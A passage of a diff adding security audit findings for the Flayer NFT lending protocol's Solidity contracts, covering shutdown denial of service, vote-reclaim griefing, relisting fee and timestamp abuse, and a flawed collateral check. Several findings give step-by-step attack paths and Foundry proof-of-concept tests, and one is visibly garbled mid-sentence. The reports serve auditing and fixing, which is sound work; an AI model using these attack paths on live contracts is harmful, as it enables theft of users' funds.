+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
++ else {
++ delete _isLiquidation[_collection][_tokenId];
++ }
+```
\ No newline at end of file
diff --git a/001/331.md b/001/331.md
new file mode 100644
index 0000000..5b7651b
--- /dev/null
+++ b/001/331.md
@@ -0,0 +1,66 @@
+Melodic Pickle Goose
+
+Medium
+
+# Starting a collection shutdown can be DOSed
+
+### Summary
+
+Starting a collection shutdown collection can easily be DOSed.
+
+
+### Root Cause
+
+Before a collection is shut down, it's checked if there are more than 4 CollectionTokens of that collection in circulation (`totalSupply()` > 4e18)
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L147
+```solidity
+ function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+→ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+ }
+```
+
+Which can easily be DOSed by a user who can front-run a call the `start()` function, deposit NFTs to the **Locker** so they get minted CollectionTokens and increase the supply so the `start()` call reverts and then back-run the transaction to redeem the CollectionTokens and get their NFTs back without risking anything.
+
+
+### Internal pre-conditions
+
+Have a collection with low liquidity and little to no interest that the users/protocol intends to shut down.
+
+
+### External pre-conditions
+
+Attacker must own enough NFTs of the collection that's being shut down.
+
+
+### Attack Path
+
+1. There's a collection with a total supply of < 4e18 CollectionTokens (assuming `denomination` of the CollectionToken is 0). A user or the protocol initiates a call to **CollectionShutdown**#`start()`.
+2. A malicious actor (Candice) sees that and deposits `5 - current CollectionToken total supply rounded up and with 0 precision` NFTs to the **Locker**. (For example, there are 3e18 CollectionTokens in circulation, Candice will need to deposit 5-3 = 2 NFTs)
+3. Candice is minted enough CollectionTokens so that the `start()` call reverts because of the `if` clause on L147.
+4. Candice calls `redeem()` on the **Locker** in a back-run transaction to burn her CollectionTokens and get the NFTs back.
+
+### Impact
+
+Shutting a collection down can effectively be made impossible for as long as an attacker likes.
+
+
+### PoC
+
+See **Attack Path**.
+
+
+### Mitigation
+
+## Mitigation
+Signal the intention to shut down a collection to the other contracts – **Listings**, **ProtectedListings** and **Locker** that a collection is going to be shut down earlier so they restrict access to functionalities that increase the CollectionToken's `totalSupply()`.
diff --git a/001/333.md b/001/333.md
new file mode 100644
index 0000000..2946f1f
--- /dev/null
+++ b/001/333.md
@@ -0,0 +1,88 @@
+Amateur Cornflower Fish
+
+High
+
+# Malicious attacker can brick users claiming sale proceeds from collection shutdown by reclaiming vote
+
+## Summary
+A malicious attacker can brick users claiming sale proceeds from a collection shutdown by reclaiming their vote after collection shutdown execution is in progress.
+## Vulnerability Detail
+Once the final step of a collection shutdown is initiated with [`execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275), all NFTs are sent to a sudoswap pool for sale. Once all are sold, voters for the shutdown (which vote with `collectionTokens`) can [claim their share](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L285-L315) of the sale proceeds.
+
+A [`cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function is also present in the contract which allows users to cancel the shutdown if they wish to (before `execute()` is called), as long as the `collectionToken.totalSupply > MAX_SHUTDOWN_TOKENS`, but the inverse check is not enforced in `execute()` (as it is in [`start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L147)). In other words, even if the total supply has risen after `start()` but before `execute()`, if no one wishes to cancel, the execute will take into account the new supply, [adjust quorum](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L243-L248) and still execute.
+
+```solidity
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+```
+
+Now let's look at when a user can [`reclaimVote()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377):
+
+```solidity
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+```
+
+If votes have surpassed quorum and the vote can be executed, they cannot reclaim their vote anymore. The flaw is that once the actual `execute()` is called, [this flag is set to false again](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L273), essentially, the user can reclaim their vote AFTER `execute()` is already in progress.
+
+By reclaiming their vote, they can [vote again](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L214), which will once again set the `canExecute` flag to true:
+
+```solidity
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+```
+
+The attacker manipulates the checks by reclaiming their vote after the execution is underway and re-voting. Once the `canExecute` flag is put up again, the user can now call [`cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) and by doing so, delete all data of `_collectionParams[_collection]`:
+
+```solidity
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+ ...
+ delete _collectionParams[_collection];
+```
+
+Once that is done, no one will be able to claim their sale proceeds because of this check in [`claim()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L285C14-L315):
+
+```solidity
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+```
+
+The whole flow of attack:
+
+1. Collection shutdown starts, 4 users each own 1 `collectionToken`
+2. After voting starts, 1 user (which is malicious) deposits another NFT so that `collectionToken.totalSupply > MAX_SHUTDOWN_TOKENS` (this will allow him to call cancel later)
+3. Everyone votes and quorum is reached, `execute()` can now be called
+4. Keep in mind shutdown will still execute since a check for max tokens is only enforced in `start()`, while in `execute()` it just adjusts quorum based on new supply. None of the other 3 participants calls `cancel()` since the supply only increased by 1 and they want to get rid of their tokens anyway
+5. `execute()` is called and `params.canExecute` is set to false
+6. Malicious user calls `reclaimVote()`
+7. Malicious user calls `vote()` again and `params.canExecute` flag is set to true again
+8. Malicious user now calls `cancel()`, `canExecute` is true so check passes, as well as `collectionToken.totalSupply > MAX_SHUTDOWN_TOKENS` check passes
+9. `_collectionParams[_collection]` is deleted and no one can claim their sale proceeds due to `if (params.sweeperPool == address(0)) revert ShutdownNotExecuted()` check
+
+
+This is made possible by multiple flaws in the design, as well as allowing to call `execute()` even after the total supply has risen. If it enforced a strict check like in `start()` this would not be possible.
+
+
+## Impact
+Loss of funds for all shutdown voters since they can never claim the sale proceeds. The attacker can repeat this whole process for multiple collections and grief.
+## Code Snippet
+```solidity
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Don't allow users to reclaim their vote after `execute()` has been called.
\ No newline at end of file
diff --git a/001/338.md b/001/338.md
new file mode 100644
index 0000000..501209b
--- /dev/null
+++ b/001/338.md
@@ -0,0 +1,166 @@
+Clean Snowy Mustang
+
+High
+
+# Listing created time is not updated when relisting
+
+## Summary
+Listing created time is not updated when relisting.
+
+## Vulnerability Detail
+When relisting a old listing, the new listing info is stored exactly the same as the argument user passes.
+
+[Listings.sol#L664-L665](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L664-L665):
+```solidity
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+```
+
+This means the new listing's created time is also assigned by the user, instead of updated by the protocol. This can be leveraged by a user to borrow collection token without paying interests.
+
+Consider the following scenario:
+1. Bob creates a listing, "borrows" 0.96 ether collection tokens (1 ether - 0.04 ether tax);
+2. Bob uses another account to relist the listing, set the `created` time to `block.timestamp + 6 days`;
+3. Bob's listing cannot be filled by anyone because the `created` time is in the future;
+4. 6 days passed, Bob cancels his Listing, receives 0.04 ether back, he essentially borrows 0.96 ether for 6 days and for free.
+
+In reality, it's unlikely the listing can be cancelled exactly at the the `created` time but seconds later, the actually fees can still be negligible.
+
+In addition to that, a honest user may set `created` time to the time they submits the transaction, however, the transaction may pending for a long time before it is actually executed, as a result, user will need to pay more fees when their listing is filled or cancelled.
+
+Please run the PoC in Listings.t.sol to verify:
+```solidity
+ function testAudit_RelistToAvoidInterests() public {
+ // GMT: Friday, September 13, 2024 4:00:00 AM
+ vm.warp(1726200000);
+
+ ICollectionToken collectionToken = locker.collectionToken(address(erc721a));
+
+ address bob1 = makeAddr("Bob1");
+ erc721a.mint(bob1, 888);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(bob1),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 200
+ });
+
+ vm.startPrank(bob1);
+ erc721a.approve(address(listings), 888);
+ IListings.CreateListing[] memory createListings = new IListings.CreateListing[](1);
+ createListings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: listing
+ });
+ listings.createListings(createListings);
+ vm.stopPrank();
+
+ address bob2 = makeAddr("Bob2");
+ mintCollectionTokens(address(erc721a), bob2, 1, 2);
+
+ // Bob relists his own listing and set `created` to 6 days in the future
+ vm.startPrank(bob2);
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: IListings.Listing({
+ owner: payable(bob2),
+ created: uint40(block.timestamp + 6 days),
+ duration: 7 days,
+ floorMultiple: 200
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ vm.stopPrank();
+
+ // Listing created time is set to 6 days in the future
+ listing = listings.listings(address(erc721a), 888);
+ assertEq(listing.created, 1726200000 + 6 days);
+
+ /**
+ Initially, Bob has 2 ether (bob2) in total, now he owns 2.96 ether, Bob essentially `borrows` 0.96 ether
+ */
+ assertEq(collectionToken.balanceOf(bob1), 1 ether + 0.96 ether);
+ assertEq(listings.balances(bob1, address(collectionToken)), 0.04 ether);
+ assertEq(collectionToken.balanceOf(bob2), 0.96 ether);
+ assertEq(listings.balances(bob2, address(collectionToken)), 0);
+
+ address alice = makeAddr("Alice");
+ mintCollectionTokens(address(erc721a), alice, 3, 2);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = 888;
+
+ // Bob's listing cannot be filled because its created time is in the future
+ vm.startPrank(alice);
+ collectionToken.approve(address(listings), type(uint256).max);
+ vm.expectRevert(IListings.ListingNotAvailable.selector);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 6 days);
+
+ // Bob cancels the listing
+ vm.startPrank(bob2);
+ listings.cancelListings(address(erc721a), _tokenIdToArray(888), false);
+ vm.stopPrank();
+
+ /**
+ Bob receives ERC721 item back and still owns 2 ether, he pays no fee for borrowing 0.96 ether
+ */
+ assertEq(erc721a.ownerOf(888), bob2);
+ assertEq(collectionToken.balanceOf(bob1), 1.96 ether);
+ assertEq(listings.balances(bob1, address(collectionToken)), 0.04 ether);
+ assertEq(collectionToken.balanceOf(bob2), 0);
+ assertEq(listings.balances(bob2, address(collectionToken)), 0);
+ }
+
+ function mintCollectionTokens(address collection, address to, uint id, uint count) private {
+ ERC721Mock token = ERC721Mock(collection);
+
+ uint[] memory depositTokenIds = new uint[](count);
+
+ for (uint i; i < count; ++i) {
+ token.mint(address(this), id);
+ depositTokenIds[i] = id;
+ ++id;
+ }
+
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(collection, depositTokenIds, to);
+ }
+```
+
+## Impact
+
+1. User can borrow collection tokens for free;
+2. User may suffer more fees.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+When relisting, the new listing's `created` time should be updated to the current timestamp.
+
+[Listings.sol#L665](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665):
+```diff
++ listing.created = uint40(block.timestamp);
+ _listings[_collection][_tokenId] = listing;
+```
\ No newline at end of file
diff --git a/001/339.md b/001/339.md
new file mode 100644
index 0000000..761048a
--- /dev/null
+++ b/001/339.md
@@ -0,0 +1,195 @@
+Crazy Chiffon Spider
+
+High
+
+# Relist deposits fees to Uniswap pool for liquidation listings, which leads to accounting problems, stolen funds and inflation, as liquidation listings don't pay fees.
+
+## Summary
+Relist function in `Listings.sol` allows for re-listing existing listings.
+However it currently also allows to relist liquidation listings.
+
+The liquidation listings does not require depositing fees upon creation, but the `relist()` operation assumes they were deposited and will distribute the fees to the `U4Implementation` contract and refund % of them to the owner of the liquidated listing.
+
+## Vulnerability Detail
+When we create a listing in Listings.sol, we deposit the fees calculated from `getListingTaxRequired`, however, they are not immediately deposited into the U4 contract via `locker.implementation().depositFees()`, but this is rather handled upon calling `fillListings()`, `cancelListings()`, `relist()` or `reserve()`.
+
+However there is an exception `Listings.createLiquidationListing()` can only be called when a Protected Listing from `ProtectedListings.sol` gets liquidated. So an auction via normal dutch auction is started in the `Listings.sol` contract.
+```solidity
+ function createLiquidationListing(CreateListing calldata _createListing) public nonReentrant lockerNotPaused {
+ // We can only call this from our {ProtectedListings} contract
+@>> if (msg.sender != address(protectedListings)) revert CallerIsNotProtectedListings();
+```
+
+If someone calls [relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L643-L647) he will call `_resolveListingTax()` which will trigger the `locker.implementation().depositFees()`, even though fees haven't been deposited in the `Listings.sol` previously, since `createLiquidationListing()` was used.
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ ............Skipping code..............
+
+ //@audit-info since we set that to "true" resolveListingTax will call depositFees() internally
+@>> (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+```
+
+The fees are either deposited into the U4 pool and some part could be partitialy refunded to the person who was liquidated:
+```solidity
+ if (_action) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ if (fees_ != 0) {
+ IBaseImplementation implementation = locker.implementation();
+ collectionToken.approve(address(implementation), fees_);
+@>> implementation.depositFees(_collection, 0, fees_);
+ }
+ if (refund_ != 0) {
+@>> _deposit(_listing.owner, address(collectionToken), refund_);
+ }
+ }
+```
+### Coded PoC
+Put this in Listings.t.sol and use `forge test --match-test test_relistingLiquidationListings -vvv`
+```solidity
+ function test_relistingLiquidationListings() public {
+ //===========Setup===========
+ listings.setProtectedListings(address(protectedListings));
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ //Ensure we have some balance in the listings contract
+ deal(address(token), address(listings), 5 ether);
+
+ address _owner = address(0x77);
+ address _relister = address(0x78);
+ address randomBuyer = address(0x79);
+ uint _tokenId = 2555;
+
+ assertEq(token.denomination(), 0);
+ uint startBalanceOwner = token.balanceOf(_owner);
+ uint startBalanceRelister = 5 ether;
+ uint startBalanceBuyer = 10 ether;
+ deal(address(token), _relister, startBalanceRelister);
+ deal(address(token), randomBuyer, startBalanceBuyer);
+
+ uint uniswapPoolStartBalance = token.balanceOf(address(uniswapImplementation));
+ erc721a.mint(_owner, _tokenId);
+
+ uint startBalanceListingContract = token.balanceOf(address(listings));
+ //===========Setup===========
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(_owner),
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+ skip(1); // allow interest to accrue so we can liquidate
+
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);
+
+ skip(3.97 days); // Skipping some days so price becomes ~ floor. The vulnarability exists even if its not close to floor.
+
+ //--Relist the luqidation listing NFT--//
+ vm.startPrank(_relister);
+ token.approve(address(listings), 4.5 ether);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_relister),
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 105
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ vm.stopPrank();
+
+ skip(2 days); // Skip some time again
+
+ //Ensure relister has no balance in escrow before filling the listing
+ vm.prank(_relister);
+ vm.expectRevert();
+ listings.withdraw(address(token), 0.0000000000001 ether);
+
+ //Someone fills the listing
+ //It will help us show the loss of funds, since we could compare balance delta
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = _tokenId;
+
+ vm.startPrank(randomBuyer);
+ token.approve(address(listings), 3.5 ether);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+ vm.stopPrank();
+
+ //Since someone filled the listing, the relister should get some refund back.
+ //and some part of the tax will be sent to the Uniswap contract, when fillListing is called.
+
+ vm.startPrank(_owner);
+ listings.withdraw(address(token), 385714285714285);
+ vm.stopPrank();
+
+ vm.startPrank(_relister);
+ listings.withdraw(address(token), 50000000000000000);
+
+ //Compare balance delta for Listings contract should be 0, however its negative:
+
+ // 5000000000000000000 - 4959596428571428572 = 40403571428571428
+ // 40403571428571428 = 0.040403571428571428 CT
+ assertEq(token.balanceOf(address(listings)), startBalanceListingContract - 40403571428571428);
+
+ // Uniswap pool received some rewards.
+ assertEq(token.balanceOf(address(uniswapImplementation)), uniswapPoolStartBalance + 51042857142857143);
+ }
+```
+## Impact
+- `Listing.sol` running out of balance could DoS the `fillListings()`, `cancelListings()`, `relist()`, `modifyListing()` or `reserve()` functions which require the `CT` balance.
+- Refunded amount to the Owner of the ProtectedListing that was liquidated is just FREE `CT` tokens.
+- Admin cannot recover damages, he can just mint `CT` with `unbackedDeposit()` to avoid DoS, but it is guaranteed inflation as there won't be any backing value. The `CT` was stolen out in `REFUND` and for `FEES` to the UniswapV4Pool.
+
+The values for the actual inflation can be significant, as the initial `floorMultiplier` factor for liquidation listings is `400` with 4 days duration ( See [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L459) )
+
+So using `TaxCalculator.calculateTax()` this would end up `51428571428571428` for 18 decimal CT tokens. If 1 CT token == 2350$, this totals to ~$121.16 thats being lost.
+
+Its important to note, if not expired there will always be some part of the amount **refunded**, it will be send back via escrow to the person who was liquidated initially, which would still lead to insolvencies when he withdraws it, as its basically **free CT tokens**, stolen from other's deposits.
+The refund amount depends greatly on the time that have passed since the creation of the liquidation listing, relative to the relisting operation.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a check to remove the taxes being paid for liquidation listings, similar to the one in `reserve()` function:
+```diff
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ Listing memory oldListing = _listings[_collection][_tokenId];
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
++ if (!_isLiquidation[_collection][_tokenId]) {
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ }
+}
+```
\ No newline at end of file
diff --git a/001/341.md b/001/341.md
new file mode 100644
index 0000000..74ef03a
--- /dev/null
+++ b/001/341.md
@@ -0,0 +1,34 @@
+Cool Smoke Seagull
+
+Medium
+
+# protectedListings.createCheckpoint calculation is incorrect as listingCount for a collection accounting is incorrect.
+
+## Summary
+
+Whenever function createListings/cancelListings/fillListings is called in Listings contract, those function calls protectedListings.createCheckpoint to update checkpoint(i.e checkpoint’s compoundedFactor) for a collection. This compoundedFactor is calculated based on _utilizationRate and this _utilizationRate is calculated based on the count of active listings of the collection. But here the count of active listings(a collection’s) is only accounted for ProtectedListings contract. , it doesn't consider the count of active listings for a collection of contract Listings.
+
+## root cause
+When calculating checkpoint,the count of active listings is only accounted for ProtectedListings contract but it doesn't consider the count of active listings for a collection of contract Listings for a collection.
+
+
+## Vulnerability Detail
+1. Let’s assume a collection’s active listingCount = 100 in the Listings contract.
+
+2. The same collection(mentioned in step 1) active listingCount = 10 in the ProtectedListings contract.
+
+3. Whenever function createListings/cancelListings/fillListings is called in Listings contract, those function calls protectedListings.createCheckpoint to update checkpoint(i.e checkpoint’s compoundedFactor) for a collection. This compoundedFactor is calculated based on _utilizationRate and this _utilizationRate is calculated based on the count of active listings of the collection. But here the count of active listings i.e 10(a collection’s) is only accounted for ProtectedListings contract. , it doesn't consider the count of active listings i.e 100 for a collection of contract Listings.
+
+
+## Impact
+ checkpoint’s compoundedFactor of a collection will be incorrect.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L162
+## Tool used
+
+Manual Review
+
+## Recommendation
+consider both contract(i.e ProtectedListings contract and Listings contract) count of active listings for a collection when calculating _utilizationRate in ProtectedListings contract.
+
diff --git a/001/343.md b/001/343.md
new file mode 100644
index 0000000..2e932a5
--- /dev/null
+++ b/001/343.md
@@ -0,0 +1,31 @@
+Cool Smoke Seagull
+
+Medium
+
+# When the function relist is called, it doesn't consider if the collection’s tokeid has been internally mapped as a liquidation.
+
+## Summary
+
+When a collection’s tokenid is listed for liquidation, then it doesn't require any tax to be paid.so when the function fillListings/ function reserve is called it doesn't take fees and doesn't refund if the tokenid is listed for liquidation. But when the function relist is called it takes fees and refund if the tokenid is listed for liquidation. As a result, now there willbe always less fees for other listing tokenids of a collection(the tokeind which are not for liquidation) in the Listings contract. When the function fillListings is called for the last tokeind (of a collection) to fill, it may revert as there are less fees to transfer feecollecter in the Listings contract.
+
+## Vulnerability Detail
+1. Let’s assume, a tokenid of a collection is listed for liquidation with the function createLiquidationListing by the ProtectedListings contract. Here listing.duration = 4days and listing.floorMultiple = 400 for this tokenid.
+
+2. The function relist is called to relist this tokenid.
+
+3. See the function relist, as there is no check that fees and refund should be bypassed for liquidation listing tokenid, so fees will be sent to feecollecter contract from the listings contract.if the tokenid is relist before 4 days after listing for liquidation, then listing owner is also refunded.
+
+4. Now there will be always less fees for other listing tokenids of a collection(the tokeind which are not for liquidation) in the Listings contract. When the function fillListings is called for the last tokeind (of a collection) to fill, it may revert as there are less fees to transfer feecollecter in the Listings contract.
+
+
+## Impact
+there willbe always less fees for other listing tokenids of a collection(the tokeind which are not for liquidation) in the Listings contract. When the function fillListings is called for the last tokeind (of a collection) to fill, it may revert as there are less fees to transfer feecollecter in the Listings contract.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644
+## Tool used
+
+Manual Review
+
+## Recommendation
+when the function relist is called, don’t take fees and don’t refund if the tokenid is listed for liquidation.
diff --git a/001/345.md b/001/345.md
new file mode 100644
index 0000000..bca744c
--- /dev/null
+++ b/001/345.md
@@ -0,0 +1,37 @@
+Cool Smoke Seagull
+
+High
+
+# The remaining collateral validation is incorrect when the function adjustPosition is called to increase debt for a tokenid of a collection.
+
+## Summary
+ The function adjustPosition is called to increase/decrease debt for a tokenid of a collection.The remaining collateral validation is incorrect when the function adjustPosition is called to increase debt for a tokenid of a collection, as a result, a user can call multiple times the function adjustPosition to drain/steal collateral token of a collection in the ProtectedListings contract.
+
+## root cause
+it checks if (_amount > debt) revert InsufficientCollateral(); but it should check in this way i.e remaining collateral = MAX_PROTECTED_TOKEN_AMOUNT - debt, so if (_amount > remaining collateral) revert InsufficientCollateral();
+
+
+## Vulnerability Detail
+1. Let’s assume, alice has listed a tokenid of a collection in the ProtectedListings contract. The tokenid’s debt = 0.85, Available collateral to withdraw = 0.95-0.85 = 0.10.
+
+2. Now Alice wants to increase debt , so Alice calls the function adjustPosition with 0.75 _amount for the tokenid.
+
+3. See the function adjustPosition, here if (_amount > debt) revert InsufficientCollateral(); now as _amount < debt i.e 0.75<0.85 so the function will not revert and alice will get 0.75 collateral amount from the ProtectedListings contract.
+
+4. Now alice’s _protectedListings[_collection][_tokenId].tokenTaken = 0.85+0.75 = 1.60(which is greater than MAX_PROTECTED_TOKEN_AMOUNT i.e 0.95 ether.
+
+5. Now alice calls multiple times the function adjustPosition to drain the collateral token (alice calls in a way so that _amonut remaining collateral) revert InsufficientCollateral();
diff --git a/001/346.md b/001/346.md
new file mode 100644
index 0000000..a896a33
--- /dev/null
+++ b/001/346.md
@@ -0,0 +1,38 @@
+Cool Smoke Seagull
+
+Medium
+
+# A collection’s tokenid can be liquidated unfairly in the ProtectedListings contract.
+
+## Summary
+A user can decrease the debt of a tokenid by calling the function adjustPosition so that tokenid doesn't go for liquidation. When the ProtectedListings contract is paused, the user can’t decrease the debt. During the contract's pausing, if users tokenid’s debt becomes greater than MAX_PROTECTED_TOKEN_AMOUNT, the user can’t decrease the debt. When the contract is unpaused a liquidator can frontrun the user’s function adjustPosition calling(to decrease debt) and liquidate the tokeind which is unfair.
+
+
+## root cause
+modifier lockerNotPaused is used in the function adjustPosition.
+
+## Vulnerability Detail
+1. Let’s assume, Alice has listed a tokenid of a collection in the ProtectedListings contract. The tokenid’s debt = 0.90, Available collateral to withdraw = 0.95-0.90 = 0.5.
+
+2. Then the ProtectedListings contract is paused for a long time.
+
+3. Now alice’s tokenid’s debt becomes 0.96 and it becomes liquidable.
+
+4. Alice wants to decrease debt by calling the function adjustPosition, but it is not possible as there is lockerNotPaused modifier in the function adjustPosition.
+
+6. Now the ProtectedListings contract is unpaused and before calling alice the function adjustPosition to decrease debt for this tokenid, a liquidator/attacker calls the function liquidateProtectedListing for this tokenid and liquidate the tokenid which is unfair for alice.
+
+
+
+## Impact
+A collection’s tokenid can be liquidated unfairly in the ProtectedListings contract.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366
+## Tool used
+
+Manual Review
+
+## Recommendation
+remove the modifier lockerNotPaused from the function adjustPosition.
+
diff --git a/001/349.md b/001/349.md
new file mode 100644
index 0000000..829e6e1
--- /dev/null
+++ b/001/349.md
@@ -0,0 +1,157 @@
+Soft Violet Lion
+
+High
+
+# User lose fund when vote after the shutdown is canceled
+
+## Summary
+
+In CollectoinShutdown.sol, we have the logic below
+
+```solidity
+ function vote(address _collection) public nonReentrant whenNotPaused {
+ // Ensure that we are within the shutdown window
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+
+ /**
+ * Processes the logic for casting a vote.
+ *
+ * @param _collection The collection address
+ * @param params The collection shutdown parameters
+ *
+ * @return The updated shutdown parameters
+ */
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
